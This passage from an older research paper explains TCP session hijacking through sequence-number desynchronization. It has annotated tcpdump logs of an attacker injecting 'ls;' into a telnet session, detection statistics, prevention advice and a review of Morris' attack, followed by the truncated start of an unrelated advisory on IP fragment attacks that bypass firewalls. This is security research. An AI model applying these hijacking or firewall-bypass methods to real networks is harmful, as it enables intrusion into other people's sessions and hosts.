If no data is sent no loop appears. If data is sent and no attacker is there
to acknowledge the data then the data will be retransmitted, a storm
will be created for each retransmission, and eventually the connection
will be dropped since no ACK of the data is sent. If the attacker acknowledges
the data then only one storm is produced (in practice the attacker often
missed the data packet due to the load on the network, and acknowledge the
first of subsequent retransmission).

The attack uses the second type of packet described in
Section 2.2. The first case in which the data is stored by
the receiver for later processing has not been tested. It has the
advantage of not generating the ACK storm but on the other hand it may be
dangerous if the data is actually processed. It is also difficult to
use with small window connections.

3. Setup of the session

This paper presents two methods for desynchronizing a TCP connection.
Others can be imagined but will not be described here. We suppose that the
attacker can listen to every packet sent between the two end points.

3.1 Early desynchronization

This method consists of breaking the connection in its early setup stage
on the server side and creating a new one with different sequence number.
Here is the process (Figure 2 summarizes this process)

- The attacker listens for a SYN/ACK packet from the server to
the client (stage 2 in the connection set up).

- On detection of that packet the attacker sends the server
a RST packet and then a SYN packet with exactly the same parameters
(TCP port) but a different sequence number (referred to as ATK_ACK_0 in
the rest of the paper).

- The server will close the first connection when it
receives the RST packet and then reopens a new one on the same port but
with a different sequence number (SVR_SEQ_0') on receipt of the SYN
packet. It sends back a SYN/ACK packet to the client.

- On detection of that packet the attacker sends the server a
ACK packet. The server switches to the ESTABLISHED state.

- The client has already switched to the ESTABLISHED state when it
receives the first SYN/ACK packet from the server.


Server Client

LISTEN CLOSED

&lt;- SYN,
CLT_SEQ_0

SYN-RECEIVED SYN-SENT

SYN, -&gt;
SVR_SEQ_0,
CLT_SEQ_0+1


ESTABLISHED

SVR_SEQ = CLT_SEQ_0 + 1
CLT_ACK = SVR_SEQ_0 + 1

&lt;= RST,
CLT_SEQ_0 + 1

CLOSED

&lt;= SYN,
ATK_SEQ_0


SYN, -&gt;
SVR_SEQ_0',
ATK_SEQ_0 + 1

SYN-RECEIVED

&lt;= SYN,
ATK_SEQ_0 + 1,
SVR_SEQ_0' + 1


ESTABLISHED

SVR_SEQ = SVR_SEQ_0' + 1
SVR_ACK = ATK_SEQ_0 + 1


Figure 2: A attack scheme. The attacker's packets are marked with &lt;=

This diagram does not show the unacceptable acknowledgement packet
exchanges. Both ends are in the desynchronized ESTABLISHED state now.

SVR_TO_CLT_OFFSET = SVR_SEQ_0 - SVR_SEQ_0'

is fixed by the server.

CLT_TO_SVR_OFFSET = ATK_SEQ_0 - CLT_SEQ_0

is fixed by the attacker.

The success of the attack relies on the correct value being chosen
for CLT_TO_SVR_OFFSET. Wrong value may make the
client's packet acceptable and can produce unwanted effects.

3.2 Null data desynchronization

This method consists for the attacker in sending a large amount
of data to the server and to the client. The data sent shouldn't affect
nor be visible to the client or sever, but will put both end of the TCP
session in the desynchronized state.

The following scheme can be used with a telnet session:

- The attacker watchs the session without interfering.
- When appropriate the attacker sends a large amount of ``null
data'' to the server. ``Null data'' refers to data that will not affect
anything on the server side besides changing the TCP acknowledgment number.
[For instance with a telnet session the attacker sends ATK_SVR_OFFSET
bytes consisting of the sequence IAC NOP IAC NOP... Every two
bytes IAC NOP will be interpreted by the telnet daemon, removed from
the stream of data and nothing will be affected. [The telnet
protocol [telnet] defines the NOP command as ``No Operation''. In
other words, do nothing, just ignore those bytes.] Now the Server has

SVR_ACK = CLT_SEQ + ATK_SVR_OFFSET

which of course is desynchronized.
- The attacker does the same thing with the client.


The method is useful if the session can carry ``null data''. The
time when the attacker sends that data is also very difficult to determine
and may cause some unpredictable side effects.

4. Examples

The following logs are provided by running a hacked version of
tcpdump [tcpdump] on the local ethernet where the client resides.
Comments are preceded by `##'.

The first example is a normal telnet session opening between 35.42.1.56
(the client) and 198.108.3.13 (the server).

## The client sends a SYN packet, 1496960000 is its initial sequence nu
mber.
11:07:14.934093 35.42.1.56.1374 &gt; 198.108.3.13.23: S 1496960000:1496960000(0) w
in 4096
## The server answers with its initial sequence number and the SYN flag
.
11:07:14.936345 198.108.3.13.23 &gt; 35.42.1.56.1374: S 1402880000:1402880000(0) a
ck 1496960001 win 4096
## The client acknowledges the SYN packet.
11:07:14.937068 35.42.1.56.1374 &gt; 198.108.3.13.23: . 1496960001:1496960001(0) a
ck 1402880001 win 4096
## Now the two end points are in the ESTABLISHED state.
## The client sends 6 bytes of data.
11:07:15.021817 35.42.1.56.1374 &gt; 198.108.3.13.23: P 1496960001:1496960007(6)
ack 1402880001 win 4096 255 253 /C 255 251 /X
[...
## The rest of the log is the graceful closing of the connection
11:07:18.111596 198.108.3.13.23 &gt; 35.42.1.56.1374: F 1402880059:1402880059(0) a
ck 1496960025 win 4096
11:07:18.112304 35.42.1.56.1374 &gt; 198.108.3.13.23: . 1496960025:1496960025(0) a
ck 1402880060 win 4096
11:07:18.130610 35.42.1.56.1374 &gt; 198.108.3.13.23: F 1496960025:1496960025(0) a
ck 1402880060 win 4096
11:07:18.132935 198.108.3.13.23 &gt; 35.42.1.56.1374: . 1402880060:1402880060(0) a
ck 1496960026 win 4095

The next example is the same session with an intrusion by the
attacker. The desynchronized state is created in the early stage of
the session (subsection 3.1). The attacker will add the
command 'ls;' to the stream of data. The user uses skey to
identify himself to the server. From the user's point of view the
session looks like this:

&lt;lpj@homefries: 1&gt; telnet 198.108.3.13
Trying 198.108.3.13 ...
Connected to 198.108.3.13.
Escape character is '^'.

SunOS UNIX (_host)

login: lpj
s/key 70 cn33287
(s/key required)
Password:
Last login: Wed Nov 30 11:28:21 from homefries.merit.edu
SunOS Release 4.1.3_U1 (GENERIC) #2: Thu Jan 20 15:58:03 PST 1994
(lpj@_host: 1) pwd
Mail/ mbox src/
elm* resize* traceroute*
/usr/users/lpj
(lpj@_host: 2) history
1 13:18 ls ; pwd
2 13:18 history
(lpj@_host: 3) logoutConnection closed by foreign host.
&lt;lpj@homefries: 2&gt;

The user types only one command 'pwd' and then asks for the history of
the session. The history shows that a ls' has also being issued.
The ls command produces an output which has not been filtered.
The following log shows the TCP packet exchanges between the client and
the server. Unfortunately some packets are missing from this log because
they have been dropped by the sniffer's ethernet interface driver. One
must see that log like a snapshot of a few instants of the exchange
more than the full transaction log. The attacker's window size has been
set to uncommon values (400, 500, 1000) in order to make its packets
more easily traceable. The attacker is on 35.42.1, three hops away from the
server, on the path from the client to the server. The names and addresses
of the hosts have been changed for security reasons.

## The client sends a SYN packet, 896896000 is its initial sequence num
ber.
11:25:38.946119 35.42.1.146.1098 &gt; 198.108.3.13.23: S 896896000:896896000(0) wi
n 4096
## The server answers with its initial sequence number (1544576000) and
the SYN flag.
11:25:38.948408 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544576000:1544576000(0)
ack 896896001 win 4096
## The client acknowledges the SYN packet. It is in the ESTABLISHED sta
te now.
11:25:38.948705 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896001:896896001(0) ac
k 1544576001 win 4096
## The client sends some data
11:25:38.962069 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896001:896896007(6)
ack 1544576001 win 4096 255 253 /C 255 251 /X
## The attacker resets the connection on the server side
11:25:39.015717 35.42.1.146.1098 &gt; 198.108.3.13.23: R 896896101:896896101(0) wi
n 0
## The attacker reopens the connection with an initial sequence number
of 601928704
11:25:39.019402 35.42.1.146.1098 &gt; 198.108.3.13.23: S 601928704:601928704(0) wi
n 500
## The server answers with a new initial sequence number (1544640000) a
nd the SYN flag.
11:25:39.022078 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
## Since the last packet is unacceptable for the client, it acknowledge
s it
## with the expected sequence number (1544576001)
11:25:39.022313 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
## Retransmission to the SYN packet triggered by the unacceptable last
packet
11:25:39.023780 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
## The ACK storm loop
11:25:39.024009 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
11:25:39.025713 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
11:25:39.026022 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
[...
11:25:39.118789 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
11:25:39.119102 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
11:25:39.120812 198.108.3.13.23 &gt; 35.42.1.146.1098: S 1544640000:1544640000(0)
ack 601928705 win 4096
11:25:39.121056 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
## Eventually the attacker acknowledges the server SYN packet with the
attacker's new
## sequence number (601928705). The data in this packet is the one prev
iously
## sent by the client but never received.
11:25:39.122371 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928705:601928711(6)
ack 1544640001 win 400 255 253 /C 255 251 /X
## Some ACK storm
11:25:39.124254 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640001:1544640001(0)
ack 601928711 win 4090
11:25:39.124631 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
11:25:39.126217 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640001:1544640001(0)
ack 601928711 win 4090
11:25:39.126632 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896007:896896007(0) ac
k 1544576001 win 4096
[...
11:25:41.261885 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928728:601928728(0) ac
k 1544640056 win 1000
## A retransmission by the client
11:25:41.422727 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896018:896896024(6)
ack 1544576056 win 4096 255 253 /A 255 252 /A
11:25:41.424108 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
[...
11:25:42.323262 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896025:896896025(0) ac
k 1544576059 win 4096
11:25:42.324609 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
## The user ID second character.
11:25:42.325019 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896025:896896026(1)
ack 1544576059 win 4096 p
11:25:42.326313 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640059:1544640059(0)
ack 601928728 win 4096
[...
11:25:43.241191 35.42.1.146.1098 &gt; 198.108.3.13.23: . 601928731:601928731(0) ac
k 1544640060 win 1000
## Retransmission
11:25:43.261287 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640059:1544640061(2)
ack 601928730 win 4096 l p
11:25:43.261598 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896027:896896027(0) ac
k 1544576061 win 4096
[...
11:25:43.294192 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
11:25:43.922438 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896026:896896029(3)
ack 1544576061 win 4096 j /M /@
11:25:43.923964 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
[...
11:25:43.957528 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640061:1544640061(0)
ack 601928730 win 4096
## The attacker rewrites the packet sent by the server containing the s
key challenge
11:25:44.495629 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576064:1544576082(18)

ack 896896029 win 1000 s / k e y 7 0 c n 3 3 2 8 7 /M /J
11:25:44.502533 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576082:1544576109(27)

ack 896896029 win 1000 ( s / k e y r e q u i r e d ) /M /J P a s s w
o r d :
11:25:44.522500 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896029:896896029(0) ac
k 1544576109 win 4096
[...
11:25:44.558320 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
## Beginning of the skey password sent by the user (client)
11:25:57.356323 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896029:896896030(1)
ack 1544576109 win 4096 T
11:25:57.358220 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
[...
11:25:57.412103 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928733 win 4096
## Echo of the beginning of the skey password sent by the server
11:25:57.412456 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928733:601928734(1)
ack 1544640109 win 1000 T
11:25:57.412681 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896030:896896030(0) ac
k 1544576109 win 4096
[...
11:25:57.800953 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640109:1544640109(0)
ack 601928734 win 4096
## The attacker rewrites the skey password packet
11:25:57.801254 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928734:601928762(28)
ack 1544640109 win 1000 A U T S H I M L O F T V A S E M O O R
I D /M /@
11:25:57.801486 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac
k 1544576109 win 4096
[...
11:25:58.358275 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac
k 1544576109 win 4096
11:25:58.360109 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640263:1544640278(15)

ack 601928762 win 4096 ( l p j @ _ r a d b : 1 )
11:25:58.360418 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac
k 1544576109 win 4096
[...
11:26:00.919976 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896058:896896058(0) ac
k 1544576278 win 4096
## The 'p' of the 'pwd' command typed by the user.
11:26:01.637187 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896058:896896059(1)
ack 1544576278 win 4096 p
11:26:01.638832 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640278:1544640278(0)
ack 601928762 win 4096
[...
11:26:03.183200 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
11:26:03.921272 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896060:896896063(3)
ack 1544576280 win 4096 d /M /@
11:26:03.922886 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640283:1544640283(0)
ack 601928767 win 4096
[...
11:26:04.339186 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
11:26:04.340635 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640288:1544640307(19)

ack 601928770 win 4096 M a i l / /I /I m b o x /I /I s r c / /M /J
11:26:04.342872 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640307:1544640335(28)

ack 601928770 win 4096 e l m * /I /I r e s i z e * /I /I t r a c e r o
u t e * /M
/J
11:26:04.345480 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
11:26:04.346791 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640335:1544640351(16)

ack 601928770 win 4096 / u s r / u s e r s / l p j /M /J
11:26:04.347094 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
11:26:04.348402 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640351:1544640366(15)

ack 601928770 win 4096 ( l p j @ _ r a d b : 2 )
11:26:04.378571 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896063:896896063(0) ac
k 1544576280 win 4096
[...
11:26:09.791045 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928773:601928775(2)
ack 1544640369 win 1000 t o
11:26:09.794653 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640369:1544640371(2)
ack 601928775 win 4096 t o
11:26:09.794885 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896068:896896068(0) ac
k 1544576366 win 4096
[...
11:26:12.420397 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896068:896896072(4)
ack 1544576368 win 4096 r y /M /@
11:26:12.422242 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640371:1544640371(0)
ack 601928775 win 4096
[...
11:26:12.440765 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac
k 1544576368 win 4096
## The 'ry' of the 'history' command sent by the client
11:26:16.420287 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896068:896896072(4)
ack 1544576368 win 4096 r y /M /@
11:26:16.421801 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640371:1544640371(0)
ack 601928775 win 4096
[...
11:26:16.483943 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac
k 1544576368 win 4096
## The same packet rewritten by the attacker.
11:26:16.505773 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928775:601928779(4)
ack 1544640371 win 1000 r y /M /@
## answer to the history command sent by the server. We can notice the
'ls ;' inclusion
## before the 'pwd'
11:26:16.514225 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640371:1544640437(66)

ack 601928779 win 4096 r y /M /@ /M /J 1 /I 1 1 : 2 8 /I l s
; p w
d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168
/@ /G
/@ /@ /@ /X /@ /H 137 148 /@ /@
11:26:16.514465 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac
k 1544576368 win 4096
[...
11:26:16.575344 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896072:896896072(0) ac
k 1544576368 win 4096
## The same packet rewritten by the attacker.
11:26:16.577183 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576368:1544576434(66)

ack 896896072 win 1000 r y /M /@ /M /J 1 /I 1 1 : 2 8 /I l s
; p w
d /M /J 2 /I 1 1 : 2 8 /I /@ /@ /@ L /@ /@ /@ T . 220 167 168 /@ /H /
@ /@ /@
/X /@ /H 137 148 /@ /@
11:26:16.577490 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640437:1544640437(0)
ack 601928779 win 4096
[...
## The user log out.
11:26:20.236907 35.42.1.146.1098 &gt; 198.108.3.13.23: P 601928781:601928782(1) ac
k 1544640437 win 1000 g
11:26:20.247288 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544576438:1544576438(0)
ack 896896074 win 1000
11:26:20.253500 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544576435:1544576436(1)
ack 896896074 win 1000 o
11:26:20.287513 198.108.3.13.23 &gt; 35.42.1.146.1098: P 1544640439:1544640440(1)
ack 601928782 win 4096 g
11:26:20.287942 35.42.1.146.1098 &gt; 198.108.3.13.23: P 896896075:896896076(1) ac
k 1544576436 win 4096 o
11:26:20.289312 198.108.3.13.23 &gt; 35.42.1.146.1098: . 1544640440:1544640440(0)
ack 601928782 win 4096
11:26:20.289620 35.42.1.146.1098 &gt; 198.108.3.13.23: . 896896076:896896076(0) ac
k 1544576436 win 4096

Almost all of the packets with the ACK flag set but with no
data are acknowledgement of unacceptable packets. A lot of
retransmission occurs due to the load on the network and on the
attacker host created by the ACK storm. The real log (including all ACK
packets) is about 3000 lines long whereas the one shown here has been
stripped to about 100 lines. A lot of packets have also been lost and do
not show up in this log. The data collected during the test shows that
one real packet sent can generate between 10 and 300 empty Ack
packets. Those numbers are of course highly variable.

5. Detection and Side Effects

Several flaws of that attack can be used to detect it. Three will
be described here but one can imagine some other ways to detect the intrusion.


- Desynchronized state detection. By comparing the sequence
numbers of both ends of the connection the user can tell if the
connection is in the desynchronized state. This method is feasible if
we assume that the sequence numbers can be transmitted through the TCP
stream without being compromised (changed) by the attacker.

Local Ethernet Transit Ethernet
Total TCP/s 80-100 (60-80) 1400 (87)
Total Ack 25-75 (25-45) 500 (35)
Total Telnet 10-20 (10-25) 140 (10)
Total Telnet Ack 5-10 (45-55) 45 (33)

Table 1: Percentage of ACK packets without the attack.

- Ack storm detection.
Some statistics on the TCP traffic conducted on our local
ethernet segment outside the attack show that the average ratio of ACK
without data packets per total telnet packets is around 45%. On a more
loaded transit ethernet the average is about 33% (C.f Table 1)

The total number of TCP packets as well as the total number of
ACK and telnet packets fluctuate a lot on the local ethernet. The table shows
the limits. The percentage of ACK telnet packets is very stable, around 45%.
This can be explained by the fact that the telnet session is an interactive
session and every character typed by the user must be echoed and acknowledged.
The volume of exchanged data is very small each packet usually contains one
character or one text line.

The data for the transit ethernet is very consistent. Due to the
high load on that segment a few packets may have been dropped by the
collecting host.

When the attack is conducted some of these figures change. The
next table shows the results for two types of session. The data has been
collected on the local ethernet only.

In Table 2 the `Local connection' is a
session with a host at a few IP hops from the client. The Round Trip
Delay (RTD) is approximately 3ms and the actual number of hops is 4.
The 'Remote connection' is a session with a RTD of about 40ms and 9
hops away. In the first case the attack is clearly visible. Even if
it's very fluctuant, the percentage of TCP ACK is near 100%. Almost
all of the traffic is acknowledgement packets.

In the second case the detection of the attack is less obvious.
The data has to be compared with the first column of
Table 1 (local traffic). The percentage of TCP ACK
slightly increases but not significantly. One can explain this result
by the long RTD which decreases the rate of ACK packets sent. The
underlying network is also used to experience between a 5% and 10%
packet loss which helps in breaking the ACK loop.

Local connection Remote connection
Total Telnet 80-400 (60-85) 30-40 (30-35)
Total Telnet Ack 75-400 (90-99) 20-25 (60-65)

Percentage of ACK packets during an attack.

- Increase of the packet loss and retransmission for that
particular session. Though no data is available to enlighten us on that
behavior the log produced during the attack shows an unusually high
level of packet loss and so retransmission. Therefore this implies a
deterioration of the response time for the user. The packet loss
increase is caused by:

- The extra load of the network due to the ACK storms.
- The packet dropped by the sniffer of the attacker. The drops tend
to increase as the load on the network increases.

- Some unexpected connection reset.
The following behavior has not been fully investigated since the
attacker program developed was to try the validity of the concept more
than making the attack transparent to the client and server. These are
likely to disappear with a more sophisticated attacker program. The user
can experience a connection reset of its session at the early stage of
the connection if the protocol of the attack is not correctly executed.
A loss of the attacker's RST or SYN packets may leave the server side of the
connection in a undefined state (usually CLOSED or SYN-RECEIVED) and
may make the client packets acceptable. About 10% of the attacks performed
were unsuccessful, ending either by a connection close (very visible)
or a non-desynchronized connection (the attacker failed to redirect
the stream).

Some side effects and notes about TCP and the attack.

- TCP implementation.
The desynchronization process described here failed on certain
TCP implementations. According to [rfc793] a RST packet is not
acknowledged and just destroys the TCB. Some TCP implementations do
when in a certain state acknowledge the RST packet by sending back a
RST packet. When the attacker sends the RST packet to the server the
RST is sent back to the client which closes its connection and ends the
session. Other desynchronization mechanisms may be investigated which
do not reset the connection.
- The client and the attacker were always on the same
ethernet segment when performing the test. This makes the attack more
difficult to run because of a high load on that segment. The collision
rate increases and the attacker's sniffer buffer are overflowed by the
traffic.
- One can think of just watching the session and
sending some data to the server, without caring about creating the
desynchronized state and forwarding the TCP packets. Though it will
succeed in corrupting the host that approach is likely to be detected early
by the user. Indeed the TCP session will not be able to exchange data
once the command sent.

6. Prevention
The only ways known by the writer currently available to prevent
such an attack on a telnet session are the encrypted Kerberos scheme
(application layer) or the TCP crypt implementation
[TCPcrypt] (TCP layer). Encryption of the data flow prevents any
intrusion or modification of the content. Signature of the data can
also be used. [pgp] is an example of an available way to secure
electronic mail transmission.

7. Morris' Attack Reviewed

Morris' attack as described in [morris85] assumes that
the attacker can predict the next initial sequence number used by the server
(noted SVR_SEQ_0 in this document) and that the identification scheme is
based on trusted hosts (which means only certain hosts are allowed
to perform some commands on the server without any other identification
process being needed).

In this attack the cracker initiates the session
by sending a SYN packet to the server using the client (trusted host)
as the source address. The server acknowledge the SYN with a SYN/ACK
packet with SEG_SEQ = SVR_SEQ_0. The attacker then acknowledges that packet
in guessing SVR_SEQ_0. The cracker does not need to sniff the client packets
as long as he can predict SVR_SEQ_0 in order to acknowledge it. This
attack has two main flaws:

- The client whom the attacker masquerades will receive the SYN/ACK packet
from the server and then could generate a RST packet to the server
since in the client's view no session yet exists. Morris supposes that
one can stop the RST generation by either performing the attack when the
client is down or by overflowing the client's TCP queue so the SYN/ACK
packet will be lost.
- The attacker cannot receive data from the server. But he can send
data which is sometime enough to compromise a host.

The are four principal differences between Morris' attack and
the present one:

- Morris's relies on the trusted hosts identification scheme whereas
the present attack lets the user conduct the identification stage of the
connection.
- The present attack is a full duplex TCP stream. The attacker can
send and receive data.
- The present attack uses the ethernet sniffer to predict (or just get)
SVR_SEQ_0.
- The present attack can be used against any kind of host besides
Unix hosts.

Morris' attack can easily be extented in regard of the present attack:

- The sniffer is used to get the server's initial sequence number. Morris'
attack can then be performed against the server. The attacker do not need
to wait for a client to connect.
- Considering that the client will not send RST packets (for example it is
down) the attacker can establish a full duplex TCP connection
with the server. It can send data and receive data on behalf of the client.
Of course the cracker still has to pass the identification barrier. If the
identification is based on trusted hosts (like NFS or rlogin)
the cracker has full access to the host's services.

Steven M. Bellovin in [bellovin89] also presents how ICMP
packets can be used to disable one side of the connection. In this case
the attacker gets full control of the session (people have referred
to 'TCP session hijacking'), but this is too easily detected by the user.

8. Conclusion

Although easy to detect when used on a local network, the attack
presented here is quite efficient on long distance, low bandwidth, high
delay networks (usually WAN). It can be carried with the same resources as
for a passive sniffing attack which have occurred so frequently on the Internet
.
This attack has also the dangerous advantage of being invisible to the user.
While cracking into a host on the Internet is becoming more and more
frequent, the stealthfulness of the attack is now a very important
parameter for the success of the attack and makes it more difficult to
detect.

When everybody's attention in the Internet is focused on the
emerging new IPv6 protocol to replace the current IPv4, increasing
attacks and the need for secure systems press us to develop and use a
secure transport layer for the Internet community. Options should be
available to send signed and eventually encrypted data to provide
privacy. And since the signature of the data implies reliability the
signature can be substituted to the current TCP checksum.

This paper does not attempt to explain all cases
of active attacks using a sniffer. It is more a warning for people using
s/key or Kerberos against the danger of someone sniffing the ethernet.
It provides a few ideas and starting points which can be more deeply studied.
The method presented has been successfully used during our test even with
a very simple attacker's software.

[Bellovin89] "Security Problems in the TCP/IP
Protocol Suite", Bellovin, S., Computer Communications Review,
April 1989.

[Kerberos] "Kerberos: An Authentication Service for
Open Network Systems", Steiner, J., Neuman, C., Schiller, J.,
USENIX Conference Proceeding, Dallas, Texas, February 1989.

[Morris85] "A Weakness in the 4.2BSD UNIX TCP/IP
Software", Morris, R., Computing Science Technical Report No 117,
ATT Bell Laboratories, Murray Hill, New Jersey, 1985.

[PGP] Pretty Good Privacy Version 2.6.1, Philip
Zimmermann, August 1994.

[RFC 793] Request For Comment 793,
``Transmission Control Protocol'', September 1981, J. Postel.

[RFC 854] Request For Comment 854,
``Telnet Protocol Specification'', May 1983, J. Postel,
J. Reynolds

[SKEY] "The S/Key One-time Password System", Haller, N.,
Proceeding of the Symposium on Network Distributed Systems,
Security, Internet Society, San Diego, CA, February 1994.

[TCPcrypt] "Public Key Encryption Support for TCP",
Joncheray, L., Work in progress, May 1995.

[TCPDUMP] tcpdump(8) Version 2.2.1, Van Jacobson,
Craig Leres, Steven Berkeley, University of California, Berkeley, CA.
___________________________________________________________________________


___________________________________________________________________________
This is the original text file that I found:

TCP packet fragment attacks against firewalls and filters

***********************************************************************
ADVISORY: TCP packet fragment attacks against firewalls and filters
System: TCP/IP networks
Source: http://all.net, Dr. Frederick B. Cohen
***********************************************************************

Packet Fragmentation Attacks

Introduction to Packet Fragmentation

Packet fragmentation is the part of the Internet Protocol (IP) suite of
networking protocols that assures that IP datagrams can flow through any
other sort of network. (For details, see Internet Request For Comments 791
(rfc791) and are available and searchable in electronic form from Info-Sec
heaven on the World-Wide-Web at http://all.net, through gopher service at
all.net, or by ftp service from rs.internic.net.) Fragmentation works by
allowing datagrams created as a single packet to be split into many smaller
packets for transmission and reassembled at the receiving host.

Packet fragmentation is necessary because underlying the IP protocol, other
physical and or logical protocols are used to transport packets through
networks. A good example of this phenomena is on the difference between
Ethernet packets (which are limited to 1024 bytes), ATM packets (which are
limited to 56 bytes), and IP packets which have variable sizes up to about
1/2 million bytes in length.

The only exception to this rule is in the case of an internet datagram
marked don't fragment . Any internet datagram marked in this way is
supposed to not be fragmented under any circumstances. If internet
datagrams marked don't fragment cannot be delivered to their destination
without being fragmented, they are supposed to be discarded instead. Of
course, this rule doesn't have to be obeyed by the IP software actually
processing packets, but it is supposed to be.

How Packet Reassembly Attacks Work

The packet fragmentation mechanism leads to attacks that bypass many
current Internet firewalls, but the reason these attacks work is not
because of the way fragmentation is done, but rather because of the way
datagrams are reassembled.

Datagrams are supposed to be fragmented into packets that leave the header
portion of the packet intact except for the modification of the fragmented
packet bit and the filling in of an offset field in the IP header that
indicates at which byte in the whole datagram the current packet is
supposed to start. In reassembly, the IP reassembler creates a temporary
packet with the fragmented part of the datagram in place and adds incoming
fragments by placing their data fields at the specified offsets within the
datagram being reassembled. Once the whole datagram is reassembled, it is
processed as if it came in as a single packet.

According to the IP specification, fragmented packets are to be reassembled
at the receiving host. This presumably means that they are not supposed to
be reassembled at intermediate sites such as firewalls or routers. This
decision was made presumably to prevent repeated reassembly and
refragmentation in intermediate networks. When routers and firewalls
followed the rules, they found a peculiar problem.

The way firewalls and routers block specific services (such as telnet )
while allowing other services (such as the world wide web http service) is
by looking into the IP packet to determine which Transfer Control Protocol
(TCP) port is being used. If the port corresponds to 80, the datagram is
destined for http service, while port 23 is used for telnet . In normal
datagrams, this works fine. But suppose we didn't follow the rules for
fragmentation and created improper fragmented packets? Here's what one
attacker did:

* Create an initial packet which claims to be the first fragment of a
multi-packet datagram. Specify TCP port 80 in the TCP header so it
looks like a datagram going to http service, which is allowed to pass
the firewall.
* The firewall passes the packet to the host under attack and passes
subsequent packet fragments in order to allow the destination host to
reassemble the packet.
* One of the subsequent packets has an offset of 0 which causes the
reassembler to overwrite the initial part of the IP packet. This is
the part of the IP packet that specifies the TCP port. The attacker
